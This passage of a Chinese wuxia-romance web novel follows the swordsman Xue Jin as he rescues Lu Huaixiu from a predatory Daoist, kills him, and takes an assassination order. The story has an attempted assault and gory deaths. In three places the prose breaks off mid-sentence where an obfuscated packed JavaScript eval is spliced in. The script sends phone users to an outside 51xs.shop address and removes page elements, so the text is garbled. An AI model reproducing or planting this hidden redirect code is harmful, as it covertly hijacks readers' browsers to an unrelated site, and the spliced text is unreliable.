滴答滴答,钟乳石渗透出的水滴落在地面,像是落在少女的心上,将她的心跳也给敲快了。她的每一次呼吸都变得异常艰难,甚至连吸入肺部的空气都让她感觉到疼痛。 空荡荡的山洞里只剩下她剧烈的喘息声,她只觉时间从未流逝得如此缓慢,缓慢得令人难熬。 终于,前方有一束光透了进来。那珍贵的一束光让陆怀袖瞬间点亮双眸,露出了今天的第一个笑容。逃生的希望就近在眼前。 而就在她无限接近于洞口时,一阵破空声传来,紧接着她膝盖一阵剧痛,整个人根本还没反应过来就扑倒在地。 一枚小石子滚落在她的身边,那就是害她跌倒的罪魁祸首。触手可及的希望在那一瞬间变成了海市蜃楼,她挣扎着向光明爬去,但身后的人还是将她拖回了黑暗之中。 还差一点点,明明只差一点点。 被对方扛在肩膀上的陆怀袖这样绝望地想着,很快就被道人丢垃圾似的丢到了原先的角落。这一次他的动作不再轻柔,猛烈而带着几分暴虐。倒地的瞬间,陆怀袖只觉得浑身上下火辣辣的疼痛,整个人痛到蜷缩成一团。 下半身隐隐传来的痛楚,让灵虚子怒视着眼前缩成小小一团的少女。他的面色阴沉如雷雨前的天空,骇人得很。下一刻,他蹲下身子,十分强硬地捏住少女的下巴,强迫她与自己对视。 见对方始终回避自己的视线,他擒住她下颌的手突然用力,手背上青色的血管如蛇般暴起。陆怀袖只觉得自己的下巴都快要被他捏碎了,大大的眼中满是泪花,却倔强地不让它流下来。 灵虚子定定地看了少女一会,那张儒雅的面庞逐渐变得阴沉,再度开口时,声音冷若寒冰:“不听话的小姑娘可是要下地狱的。”他说着,无视少女泛红的眼圈,满是泪花的双眼,“撕拉”一声,直接将她身上的衣裙粗暴地撕开了一道口子,大片瓷白的肌肤暴露在空气中。 清晰的帛裂声划破空气,陆怀袖觉得身上一凉,绝望在心底蔓延开来,眼泪终于控制不住地向下掉。而就在她眼泪滴落的那一瞬间,一道隐然带着怒气的男音传来。那声音冷如寒夜里的刀锋,轻轻擦过耳膜,让灵虚子下意识汗毛竖起。 “你错了,该下地狱的只有你。” 43. 中毒 不同于下意识汗毛竖起的灵虚子,听到这道熟悉的声音,陆怀袖顿时止住了眼泪,脸上只剩下惊喜的笑容。毫不夸张的说,此时的她就像是被妖怪抓去了,即将被煮了吃了的唐三藏,而对方就是那一到绝境总能力挽狂澜,救唐僧于妖精洞中的孙悟空。 来人除了薛矜还能是谁? 他发出声音时尚在山洞之外,眨眼间的功夫就到了山洞之内,还没等灵虚子反应过来是怎么一回事,抬手便是一掌打了过来,速度之快,甚至连残影都捕捉不到。 这一掌威力绝伦,灵虚子若是被击中,必死无疑。他不敢硬抗,闪身避开杀势,但身子还是被那凌厉无比的掌风拍出几丈远。他被逼得接连后退,鞋底摩擦地面留下一道不浅的痕迹。好不容易站稳身形的他,能明显感觉气血在胸口翻涌,整个人说不出的难受,比起大病一场也是不遑多让。 他生生咽下了口中的腥甜,惊疑不定地抬头看向来人——黑发雪肤红衣,是个俊美得不像话的神仙公子。只是这少年看上去不过十六七岁,尚未完全褪去稚气,怎会有这等功力,随手挥出一掌就能将自己轻易击退? 薛矜将那妖道击退后便懒得理对方,连个眼神都欠奉。他走到陆怀袖近前,略略打量了一番。少女的脸色白得近乎透明,偏偏眼尾薄红,显然是哭过的痕迹。更不用提此时的她衣不蔽体,浑身是伤的躺在潮湿的地上,看起来一副可怜兮兮的模样。 他看着看着,眉头微不可察地皱了皱,随后脱掉自己的外袍,将它披在了受惊的少女身上,动作罕见地带上了几分温柔。怕对方尴尬,他还特意偏过头去不看她。 此时两人离得很近,薛矜温热的呼吸喷洒在陆怀袖的脖颈上,烫得灼人,激起一片战栗与酥麻。少女垂着眼睑看着脚尖,不敢和他对视,生怕泄露了心底的情绪。 许是有人撑腰了,她不再故作坚强,轻轻吸了吸鼻子,说话的语气是连自己也没有察觉到的委屈:“薛矜……” 把少女裹了个密不透风后,薛矜帮她把头发从外袍中拿出来,随后像哄小孩子一样,一边轻轻拍打着她的后背,一边低声安慰道:“已经没事了,接下来就交给我吧。” 少年的声音好似有魔力一般,可以瞬间给人带来安全感,陆怀袖纷乱的心绪奇异地平定了下来。她拉紧了披在自己身上的袍子,感觉到了上面残留的温度,一股暖流悄然在心上荡漾开来。 薛矜看着站在不远处的道人,漆黑的眼眸中燃烧着冰冷的怒意。 他昨晚就办完事赶到了此地,谁曾想刚进院子里就看到了急得团团转的水玲珑。对方见到他就像是见到救兵一样,脸上的绝望转为喜色。她当即将他离开之后的事情原原本本告知于他。 他皱着眉头听完,没想到这个事还有反转,那天抓到的家伙居然只是个背锅的,真正的罪魁祸首另有其人。而听水玲珑所言,那人专挑八字纯阴的女子下手,看来还是个修炼某种妖法的术士。 他曾听说江湖上有种早就失传的邪术,需要借用女子的元阴修行,而被掠夺了元阴的女子必死无疑。因为此术太过伤天害理,有损阴德,它的修行者早就被正道人士联合剿灭了,没想到这里还有一条漏网之鱼。 看来正是此人假借采花大盗的名头,意图混淆所有人的视线,以方便他行事。 在明白了事情的前因后果后,他很快拿定了主意,随后出声叮嘱了水玲珑一番,让对方在这里等他,他会带着陆怀袖回来。听到他的承诺,水玲珑紧蹙的眉头也舒缓了许多。 之后他便借助早先放在陆怀袖身上的定位蛊,脚不沾地的一路追踪到这处山洞,中间连个喘息的时间都没有,就连营救他小弟时,都没见他这样火急火燎过——毕竟那种情形下,稍晚一步就会造成不可挽回的后果。 不过老天保佑,大错尚未铸成,一切都可以补救。 对面的灵虚子将两人的动作尽收眼底,那旖旎缱绻的氛围让他不自觉地皱起眉头,尽管两人看上去十分登对,简直可以说是天造地设的一对,但他还是不可自抑地生出了嫉妒之心。 那少年一身绯衣,长得异常俊美,拥有最令他艳羡的青春年华,少女看向他的眼神也实在算不上清白,亲昵的态度叫人不禁侧目。他越看越眼红,竭力忍住胸腔里翻涌的血气,厉声喝道:“你是何人?敢来破坏贫道的好事?” 薛矜闻言冷笑一声道:“我是来取你狗命的人。” 灵虚子听他这般说,再也无法维持那副道貌岸然的虚伪做派,暗自捏紧拳头,冷了脸色道:“区区一个乳臭未干的毛头小子,好大的口气,待会贫道就让你死无葬身之地。” 说话间,他从袖子里抓出一把豆子洒落在地面,也不知用了什么手段,在地上滚落的豆子瞬间就变成了一人高的士兵。不过眨眼间的功夫,山洞中就多出了一批披甲戴胄的豆子兵团。它们纷纷举枪严阵以待,宛如铁桶一般将绯衣少年团团包围起来,颇有“黑云压城城欲摧”之势。 陆怀袖望着眼前这奇异景象,紧张得心都要被揪起来了。她虽知薛矜武功高强,那点豆子军根本就不够他砍的,但她还是不可避免地为他担心。俗话说关心则乱,形容的就是此刻的陆怀袖。 薛矜似乎感觉到一股无法忽视的视线落在他的身上,转身朝对方扬起眉毛,那表情就好像在说:“你也太小看我了吧。”这近乎无奈的表情直直地落进了少女眼里,让她忍不住噗嗤一笑,不安害怕的情绪顿时消散了一半。 站在一旁的灵虚子把两人的神情看得清清楚楚,忍不住酸言酸语道:“你小子可真是心大,都危急关头了,还有空和你的小情人眉来眼去。” 听到“小情人”这三个字,薛矜的嘴角忍不住抽搐了一下,心情那叫一个复杂。现在的人怎么一个比一个会造谣,他明明和他的雇主清清白白的,就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273390|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小葱拌豆腐一样。他想反驳又懒得费唇舌,也就随便对方怎么误会了。 他收回视线,又将目光投向那些包围着他的豆子兵。对方步步紧逼,好像下一刻就要将他挤成肉饼似的。虽然身处险境,但他并不惊慌,等到敌方如潮水一般向自己涌来时,足尖一点,身形就如一只大雁似的跃起。墨影刀刀身漆黑唯刀尖一点红色,绕着他的周身飞速旋转,刀气如虹,大开大合,宛若夺命幽莲般在半空中绽放。 少年的刀法势如长江大河,快若奔雷闪电,但见他刀光闪处,惨叫连连,有如滚汤泼雪摧枯捣朽一般。片刻之际,那些个方才还气势滔天的豆子兵便已被杀得七零八落,溃不成军。 而少年依旧稳稳当当地漂浮在半空中,墨色长发纷飞,风吹起他红色的发带和白色的里衣,像极了传说中御风而行的仙人。 陆怀袖见状忍不住拍手叫好,落在灵虚子的耳中,更是叫他面色一阵青一阵白。眼见少年顷刻间就解决了他耗费了许多心神变的豆子兵,他感觉自己的后槽牙都要咬碎了。 忽然,他眸中精光一闪,又是一把豆子不要钱似的撒了出来。落地成型的豆子兵挡在他面前像一座小山似的,将他与绯衣少年隔绝开来。 清剿完毕后,薛矜一个旋身飘然落地。他撩起眼皮冷淡地看了道人一眼,薄唇轻启:“看来你已经黔驴技穷了。”说话间,墨影刀被他以肉眼无法捕捉到的痕迹挥出,毫不客气地迸出一道道血色刀光。刀光一闪,便收割掉一条性命。 这一幕落在陆怀袖的眼中,让她没来由地想起少年在安陆县砍的那群苍蝇,无论是体型庞大的豆子兵还是仅有米粒般大小的苍蝇,在这样精湛绝伦的刀术面前,也只有等死的份了。 不过一眨眼的功夫,薛矜就杀到了道人的跟前。满场一片狼藉,他却一尘不染,依旧是干净白衣。他随意挥出一刀,最后一个挡在道人身前的豆子兵轰然倒地,很快变回原形。 就在陆怀袖满心以为下一个身首异处的就是那妖道时,差点让她心脏停跳的一幕出现了。 就在豆子兵倒地的那一瞬间,数枚闪烁着幽幽蓝光的飞镖从道士长袖里发出。陆怀袖还没反应过来,这些飞镖已如流星赶月般直朝薛矜射去,将快准狠的真谛发挥到了极致。 只听得叮叮当当之声不绝,绝大部分飞镖被打落在地,但很不幸的是,似乎有一枚击中了目标。少年紧紧按住自己左肩伤口,脸色惨白如纸,一丝血色也无,身形都不受控制的晃了一晃,若不是用刀支撑起身体,怕是下一刻就要倒下。 灵虚子见自己一击得手,少年身中毒镖,忍不住抚掌大笑道:“哈哈哈,你小子活不过今天了,贫道我在这镖上涂了剧毒孔雀胆,过不了多久你就会七窍流血而死了。” 仿佛是在验证他方才的话,薛矜似乎虚弱到连刀都拿不稳了。下一刻,伴随着当啷一声,他那把从不离身的刀掉落在地。 44. 反杀 陆怀袖将道人的话一字不落地听入耳中,又见少年明显气息微弱,一副命不久矣的样子,只觉得全身的血液都像是冻结了似的。 她想要冲上前去扶住少年摇摇欲坠的身体,却在这时听见道人说:“中了此毒后,起初你只会觉得身上有些发痒,到后来,身体会逐渐溃烂,最后人就会七窍流血而死。哼,毛都没长齐的臭小子,还学人英雄救美,这就是你的下场。”他的话音刚一落下,少女的指甲便深深地嵌入皮肉中,眼里的绝望满到要溢出。 她闭了闭眼睛,再度睁开时,眼中已经满是坚定。 不知从哪儿来的勇气,她居然往前跨了一步,挡在了他二人中间,以老鹰护小鸡崽的姿态,将少年护在了身后。她直直迎上道人的视线,死死地咬住嘴唇,极力克制住因为害怕而颤抖的身体,一字一句,掷地有声:“你有什么事冲我来,不要伤及无辜。” 灵虚子装出一副被感动的样子喃喃自语着:“好一出郎情妾意的戏码,贫道差点被你感动哭了。只是这小子今天必须得交代在这里,就是大罗神仙来了也救不了他。” 他说完这番话之后,无视陆怀袖越来越黑的脸,再度出言调笑道:“陆小姐也见识到了贫道的手段,还是乖乖从了吧,免得受皮肉之苦。这白嫩嫩的皮肤,贫道打在上面可是会心疼的。” 闻言,陆怀袖的身子剧烈地颤抖起来,不过这次不是因为害怕,而是气的。一向好脾气的她此时也忍不住动了气,看向那妖道的眼神仿佛能将他千刀万剐。但灵虚子丝毫不把生气的少女放在眼里,甚至还笑嘻嘻地冲她挤眉弄眼。 就在少女气昏了头,打算不管不顾地冲上前和那妖道拼了的时候,她身后的少年突然一把抓住了她的手,在她手心上一笔一划地写下了两个字:“别怕。” 修长的手指划过掌心,牵起的酥酥麻麻直连到心里。陆怀袖只觉得落在掌心的触感像是微凉的月光,她整个人顿了一下,五指却在慢慢拢紧,似是想要留住那抹温度。 在她呆愣的时候薛矜已走至了她的身前,与那妖道面对面对峙着。他还是那副虚弱不已,好似下一刻就要倒地不起的模样,说话的语气却显得奇异的镇定自若:“这毒无药可解么?” 灵虚子先是一愣,显然是没想到对方会有此一问,过得片刻他冲对方勾起一抹假笑,随即变戏法似的从身上摸出一只小瓷瓶,拿在手里晃了晃,故意拖着长长的调子道:“这世上只有一瓶解药,就在我的手上,你要还是不要呢?” 薛矜很给面子地装出一副“我当然想要”的样子。 道人被对方这副模样成功取悦到了,他将“世上只有一瓶”的解药在少年的眼前得意地晃了晃,嘴角勾起一个嘲讽的弧度:“你死心吧,这解药喂狗都不给你吃。” 看着少年愈发苍白的脸色,灵虚子大有大仇得报的快感,忍不住放肆地大笑起来,笑声无比的刺耳,听在少女耳中,让她的脸色变得十分难看,差点咬碎一口银牙。 而就在这时,事情再次朝着她意想不到的方向发展了。 灵虚子兀自大笑不已,一枚铜钱却悄然而至,将他手中的瓷瓶击落。他似乎被这突如其来的变故吓傻了,笑声堵在喉咙里,整个人仿佛石像一般怔在原地。下一刻他就被那枚沿着原路返回的毒镖击中,惨叫着跌落在地上,呕出一口黑血。 这一切都发生在电光火石之间,别说是灵虚子,就连陆怀袖也惊得下巴都要掉下来了。直到此时,她终于深刻领会到,少年为何会在她手掌心中写下那两个字。 他之前显然是假装中镖,为的就是降低敌人的警惕性,以便更快的将其拿下。当然,他也可以直接将对方打得满地找牙,但他一向追求用最快捷的方法达成目标,不想费那个功夫。 灵虚子此时才知中了少年的计,但为时已晚,他被对方一脚踏上胸口,丝毫动弹不得。更惨的是,此时的他身中剧毒性命垂危,救命的解药就握在少年手中,被其当玩具似的抛着玩。 此情此景,谁看了不说一句风水轮流转呢? 不过片刻,灵虚子便感觉自己全身上下奇痒无比,忍不住伸手去挠,直到皮开肉绽也停不下,甚至挠出一道深可见骨的血痕,看起来很是瘆人。但他身上的痒不仅没有得到好转,反而越挠越痒了。剧痛攻心之下,他终于知道怕了,连忙求饶道:“求少侠发发好心,赏贫道一颗解药吧……”语气简直卑微到了尘埃里。 站在一旁的陆怀袖听到这一声恭恭敬敬的“少侠”,心中只觉得这妖道当真是厚颜无耻,方才还一口一个“臭小子”,这么快就改口了,这前倨后恭的态度也不要太明显。 如果薛矜真的是什么正气凛然的少侠,说不定看到他那副惨状,就心软地把解药喂给他了。但薛矜作为一个黑心大魔头,和正气凛然什么的可以说是完全不搭边。 他像是欣赏够了对方的惨状,眼珠滴溜溜转了一圈,鹦鹉学舌一般,重复了对方先前说过的话:“你死心吧,这解药喂狗都不给你吃。”他模仿道人说话的神情惟妙惟肖,逗得陆怀袖忍俊不禁。 报应来得太快,灵虚子知道事情已无转机,只能眼睁睁地看着少年将他唯一的救命药扔在地上,直接一脚踩了下去,稍一用力,便将药丸碾成了细碎的粉末,被风吹散,连带着他活下来的希望也给吹没了。 他仿佛后知后觉一般,歇斯底里地大叫道:“不——”凄厉的声音在阴森古怪的山洞中回荡,吓得少女毛骨悚然。 只是他再伤心也是于事无补,如他先前所言,这是世上仅此一瓶的解药。 这种只能坐着等死的绝望让他脑子里名为理智的那根弦崩了,他看着让他陷入如今这般境地的罪魁祸首,几乎目眦欲裂,活像是从地狱里刚爬出来索命的恶鬼:“小子,有胆你就报上名来,贫道我做鬼都不会放过你——” “你活着我尚且不怕,还怕你死?”薛矜皱了皱眉头,露出一个稍微有点轻蔑的表情,随后短促地哼了一声,“告诉你也无妨,小爷我姓薛名矜,落月教薛矜是也。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273391|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那妖道听罢,眼珠子都快瞪出来了,他喃喃自语道:“你是……你居然……”他话还没说完,便无法控制地浑身抽搐着,紧接着腥臭的黑血从七窍之中流了出来。他连惨叫都没来得及发出,就像烂泥一样瘫在地上,再无声息了。 薛矜嫌恶地看了眼地上的尸体,很快便挪开视线。他要不是怕给小公主留下心里阴影,断不会叫这妖道死得这样轻易——他会把对方身上的肉一片片割下来,然后亲手喂给他自己吃。 陆怀袖虽不明白妖道为何在听到薛矜自报家门后会是那种反应,但此时的她无暇顾及那么多,她看都不看他的尸体一眼,径直走到少年的跟前,抬头定定地看向对方。 薛矜被她看得鸡皮疙瘩都起来了,他抖了抖,正打算问一句“你怎么了”,然而话到嘴边,却见少女的眼泪像断线珠子一样,止不住的往下掉。他愣了一下,原本想说的话被噎在了喉咙里,变成一句:“我不是已经及时出现救了你么,你到底在哭什么啊……” 他这话非但没有让事情变得好转,少女一听之下反而哭得更凶了。面对她的眼泪,薛矜明显有些不知所措,游刃有余的样子完全被打破。少女的哭声听着让人心烦意乱,无可奈何之下,他主动上前一步,拉近了与她之间的距离,呲着牙用绵软的嗓音朝她汪汪叫了两声,边叫边用一副可怜巴巴的样子瞧着她,像极了一只小狗狗。 他是不嫌丢脸的,反正已经学过鸡鸣了,再学个狗叫也没什么,只要能达到目的就好。 果不其然,陆怀袖听到这两声汪,渐渐止住了眼泪破涕为笑。发出了笑声之后,她后知后觉地感到了羞耻,自己真的是太矫情了。但很快她又气得鼓着腮往少年身上锤了一拳:“你刚才吓死我了。”声音带着自己都不能察觉的颤抖。 闻言,薛矜很明显地愣了一下,少女的哭泣居然是因为这个原因,他还以为她是见到死人害怕得哭了。他轻笑,又恢复了以往游刃有余的样子:“你没听说过一句话,好人不长命,祸害遗千年?我这样的卑鄙小人,一时半会儿还死不了呢。” 说到这里,他又像是想到了什么似的拍了拍手,眼神有点兴奋又有点残忍地说着:“这个道士专一折磨女子,那个神婆始终残害男子,你说要是把这对卧龙凤雏关在一起,最终会鹿死谁手呢?” 他这天马行空的想法让陆怀袖脸上的神情变得十分复杂,过得片刻她忍不住往他身上又锤了一拳,佯装怒意道:“我怎么觉得你比他们两个加起来还要可怕。” “呵,陆小姐真是过奖了。”话虽这么说,薛矜却完全是一副坦然受之的模样。他见小公主的心情显而易见地好了许多,替她理了理凌乱的发丝,弯着眼笑道:“我们走吧,你水姐姐还在家里等你呢,你再不回去她怕是要急疯了。”说罢也不待她回话,径自拽住她的袖口,拉着她往洞外走去。 陆怀袖顺着他的牵引往外走去,垂着睫毛看着地面,时不时偷偷瞥一眼身旁的少年,唇角在他看不见的地方勾起。 45. 交心 薛陆二人回到宅院门口时,才注意到已经到吃午饭的点了。薛矜抬起手叩了叩门扉,水玲珑听到敲门声便立马跑去开门,见到他二人平安回来,自是喜不自胜,连忙将他们迎进门,逮着两人嘘寒问暖。吃过午饭,又简单梳洗一番后,三人又乘车马不停蹄地往官府赶去,把陆怀袖失踪后的事情原原本本地告诉了衙门里的人。 知府听取了他们的报案后,立即下令衙役们赶往山洞取证,果不其然发现了妖道灵虚子的尸体。此时的他眼睛如死鱼一般凸出来,七窍流血,血色发黑,死状极其惨烈,是看到就会做噩梦的程度,这也算是他坏事做尽的报应了。那具尸体早已发臭,他们索性将其抬出去扔进乱葬岗里,连一张草席都不裹。十分潦草地处理完尸体后,他们就将真相公之于众。 围在公示栏前的百姓得知了一切的真相后,纷纷对着灵虚子破口大骂。要知道其中有不少人是找他算过卦的,他们万万没想到,这个看起来人模人样的老道士背地里居然是采花大盗,还做出此等天怒人怨的事情。那些深受其害的人,更是恨不得把他拖出来鞭尸。 引得满城风雨的采花大盗之事就此告一段落,但没想到的是,三人在回家途中还是发生了一件小插曲。 在通往宅邸的必经之路上,四个壮汉抬着一副棺材从他们身边经过,后面敲敲打打地跟了一群穿丧服的人,一行人朝着城门的方向走去。哀乐声跟了他们一路,听上去十分悲凉,让人不禁为之落泪。陆怀袖问过旁人之后,才知道这棺材里边装的是上一个受害者,那个订了亲却在出嫁前夕惨遭毒手的可怜女子。 在凄凄惨惨的唢呐声中,陆怀袖默默无言地看着那些抬着棺材唱着哀乐哭得歇斯底里的人,只觉得心中有着说不出的难受,却要努力装出一副风平浪静的模样,只是她身旁的少年还是敏锐地察觉到了她的情绪。 回到家不久后,水玲珑拉住少女的手问东问西,在彻底得知事情的经过后,一改平日里给人的温柔印象,不带一个脏字地痛骂了那妖道一顿。骂完之后她又为自己的好心办坏事深感愧疚,若不是她非要拖着对方去算什么姻缘,这件事根本就不会发生。 陆怀袖似乎看穿了她的想法,反而柔声安慰她,自己也算是因祸得福,替曲州百姓除去了那个手段残忍的妖道,免得他再兴风作浪。再说如今自己已经平安归来,此事早已成为过去,就请她不要再挂怀于心了。 水玲珑见她并未怪罪自己,这才放下心结,又同她亲亲热热地说起话来。 亥时时分陆怀袖回了自己住的那间厢房,本该躺在床上进入梦乡的她,没来由地想起白天见到的那一幕,黑色棺材和白色丧服仍然留在她的脑海中挥之不去,让她难以入眠。 她在床上翻来覆去就是睡不着,忽而听得一阵悠扬的箫声,由远及近,似幻似真。她凝神细听,只觉那箫声婉转清明舒缓流畅,竟莫名安抚了她躁动的情绪。她十分享受地听着,忽然心中一动,随便披了件外袍便寻着箫声而去。 整座宅邸广阔而幽深,陆怀袖沿着游廊一路追逐着箫声,七拐八拐才寻到其所在之处。 此处甚是幽静雅致,一派花木扶疏,山明水秀之境。夜风轻轻地撩起少女额前的碎发,她不去管它,定定地看着那个正在执萧奏曲的绯衣少年,那双眼睛映照着的除了他的身影外别无他物。 红衣似火,眉目如画,举手投足雅韵天成,整个人璀璨到让人移不开目光。那人就这样姿态随意地倚在树干上,双眼微阖,手执长箫,悠扬婉转的一曲飘然而至,其音袅袅,其颜皎皎。 陆怀袖从不知少年还会吹箫,更不知道他的箫声如此动人心弦,仿若山涧中舒缓的流水,潺潺淌入她的心扉,让她的心莫名沉静。她不忍打断,就在旁边痴痴地听着,直到一曲终了还没回过神来。 待一整支曲子吹奏完毕,薛矜这才把长箫别在腰间,拢了拢那身绯衣,向不知何时站立在院中的少女笑了笑:“你来啦。”对于她的出现,他似乎并不意外,那张好看的脸上挂着一贯的懒散笑容。 陆怀袖见他看过来,也没躲,大大方方的一步步向他走过去,边走边笑道:“嗯,刚刚来。公子何故夜半吹箫呢?”她在离绯衣少年两步之遥的地方站定,看向他的目光中带着她自己也没察觉到的温柔。 “你猜。”薛矜尾音故意拖得长长的,依旧是那副懒懒散散的语调,十足的欠扁。 陆怀袖闻言哼笑道:“这还用猜吗?你肯定是因为有事找我,所以才用箫声引我过来。” 薛矜装模作样地赞叹道:“陆小姐果然冰雪聪明。” 陆怀袖按捺着心里的小雀跃,故作严肃地瞪了他一眼:“少给我拍马屁!找我干嘛?” 闻听此言,少年脸上的笑意褪去,抬眸撞上她的目光,站直了身体,神色变得无比正经:“你今天为什么不开心。”明明是疑问句,说出来的却像是肯定句。 陆怀袖闻言怔愣在原地,没想到他居然透过面具看穿了自己隐藏的真实情绪。她知少年的观察力很敏锐,在他面前谎言没有意义,索性把埋在心里的话竹筒倒豆子似的全讲出来:“我今天看到那个姑娘的葬礼,心里很难受,她才这么年轻啊。还有同样被杀的四十七个女子,一想到她们我就……”她尚未说完,便忽然咬住了下唇不再做声。 薛矜却听出了她的未尽之言:“怎么,你又想哭了?” 陆怀袖没说是也没说不是,一阵沉默过后,她忽然没头没脑地问了一句:“我是不是太没用了?”她回想过往,自己好像一直在哭,而流泪一向被人们认为是弱者才会做的事情。 薛矜垂眸瞥了她一眼,散漫地问:“你想听真话还是假话?” 陆怀袖深吸了一口气,然后实话实说道:“我想听不难听的真话。” 薛矜顿了顿然后才感慨似的说道:“其实你就算哭出来也没关系,我反而觉得能哭也是一种福气。” 陆怀袖吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273392|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一惊,直愣愣地看着他,像是没听清他说的话似的问:“什么?” 薛矜却只是静静地抬眸望向面前院落的上空,目光没有落点。过了许久,久到陆怀袖以为他不会再回答自己时,却听见他声音很轻地开口:“能哭怎么不是种福气,我羡慕你还来不及呢。以前很小的时候,我和我娘一起掉下山崖,她护住了我,我这才大难不死。而我生来性子就与旁人不同,冷心冷情冷血,就算是亲眼目睹至亲死在自己面前,也感觉不到伤心,更别提哭出来了。” 就这么短短的几句话,却如同一声惊雷在陆怀袖耳边炸开。她似乎想要说些什么,又觉得言语太过苍白无力,干脆把那些话咽回肚里。无声的沉默在两人之间蔓延开来。 她垂眸看着脚尖,脑中还在回荡着少年刚才说过的那番话,串联起他过往的言行忽然福至心灵,犹豫再三最终还是忍不住问道:“这就是你当初救我的原因么?” 薛矜轻笑着点了点头,一点也没有隐瞒的意思:“没错。” 直到听见他亲口承认,数月来一直盘桓在陆怀袖心中的疑问才总算是得到了解答。她一直很好奇,薛矜这么一个能用铁石心肠来形容的人怎么会出手救下她。她当然不会自作多情到以为对方是图她美色,他要是喜欢美人,每天照照镜子欣赏他自己不好吗。 现在看来,对方救她纯粹是因为当年没能救下自己的娘亲。当年救不下的娘亲,如今救得了的她,他好好长大,努力变强了,不会像过去一样无能为力了。 她思及此,对面前的绯衣少年有了更深一步的了解。之前的薛矜对她来说就像一条深不见底的河流,毫无波澜的表面下藏着什么,根本无法看清,也难以预测。直到如今,她才算是窥得一角。 这种与对方更近一步的感觉让她没来由的心生欢喜,甚至把她心中的郁闷一下子就冲淡了。就在她为自己的发现雀跃不已时,少年绵软的嗓音从她头顶传来:“如果现在你特别想哭,那就尽情哭出来吧。” 陆怀袖在他说完话后缓缓抬头,定定地望着眼前人,突然前不着村后不着店地来了一句:“咱俩现在也算是朋友了吧?” 薛矜闻言微微一怔,显然没想到她会问这个。过得片刻他望着少女展颜一笑,眉宇间尽是三月春风:“嗯……怎么不算呢?陆小姐若身陷险境,我断不会见死不救。” 陆怀袖听着,突然没来由的想起了少年那天说过的话——自己要是换种死法被他遇到了,他看都不会看她的尸体一眼。这样堪称是“天上地下”的直白对比,让她一时间感慨万千。 此时的她好像也不再难过了,默默挪近了些彼此之间的距离,两人并肩看着月亮,谁也没有说话。她一脸陶醉地赏着月,然而眼神却时不时偷偷瞥向身旁的少年——明明是一抹艳丽至极的赤色,偏偏又身披万丈清辉,像极了月下的昙花,清冷孤傲但又无比惑人。 月色真美啊。她吹着也很温柔的风,心中默默地想着。 46. 密令 采花大盗一事顺利解决后,薛陆二人于次日清晨启程离开曲州城。因为离开之后可能再无相见之日,两位姑娘彻夜长谈了一番。离别之际,那位曾经名扬曲州城的花魁也只得依依不舍地放开了好友的手。 两人出城后继续向目的地进发,赶了几天路,终于快要抵达白河城。连日来的赶路让两人疲惫不已,他们拖着略带沉重的步伐走进了落叶镇,一座距离白河城不远的城镇,若是快马加鞭的话,只需要一天一夜时间就能赶到王都。 是夜,客栈内,薛矜正在榻上打坐运转周天,忽然听到窗外传来熟悉的鸟鸣声,似急切,又欢快。他当即睁开双目,面带微笑地甚至有些愉悦地跳下床榻。而就在下一刻,一只乌鸦从窗户飞进屋内,在茶桌上落下,对着他慵懒的“嘎”了一声,像是打招呼一般。 见到这位不速之客,薛矜非但没做出暴力驱逐的行为,反而还双手抱胸好整以暇地看着它,像是看着多年老友一样。片刻后他把手撑在桌子上,弯下腰与之对视:“你怎么来了?可是教主有任务交予我?” 那只乌鸦打理了两下自己的羽毛,随后成了精似的口吐人言:“你猜对了,教主的确是要你去杀一个人,明天就出发。”说完之后,它又将目标的身份背景一五一十地告知少年。 薛矜听完后眉头微微蹙起。他倒不是对任务有什么不满,他向来是接手别人不敢接的任务,完成别人完不成的任务。只不过以他现在的实力,能劳烦他亲自出马的任务还是太少了,上次出手还是在停剑山庄当众击杀那个魔教叛徒,距今已经过去两个月了。就是因为成天没事干,他这才答应了护送陆怀袖和亲,毕竟有钱不赚白不赚。 只是说到陆怀袖……他罕见地有些愁眉苦脸起来。教主说得是让他明天出发,可小公主还需要他护送——两者之间在时间上存在冲突,他只会优先选择执行教主的命令,但他先前答应了小公主要将她平安护送到王都,如今看来只能毁约了。 不过他可不会直接丢下少女跑了,得将她的去处安排妥当才行。他低头沉吟一阵,忽地福至心灵,想起今日清晨在布告栏上看到的寻人启事——明月公主在和亲路上遇到袭击,离奇失踪,至今下落不明,各地官府以及各大帮派已加派人手寻找公主。若有人找到公主送到指定地点,赏银千两。 思及此,他垂下眼睛,一个大胆的想法在脑海中出现。没有过多的犹豫,他很快便做出了决定。 那只乌鸦似乎在等他回话,见他低头沉思的样子,不由得好奇问道:“小念之,你想什么呢?” 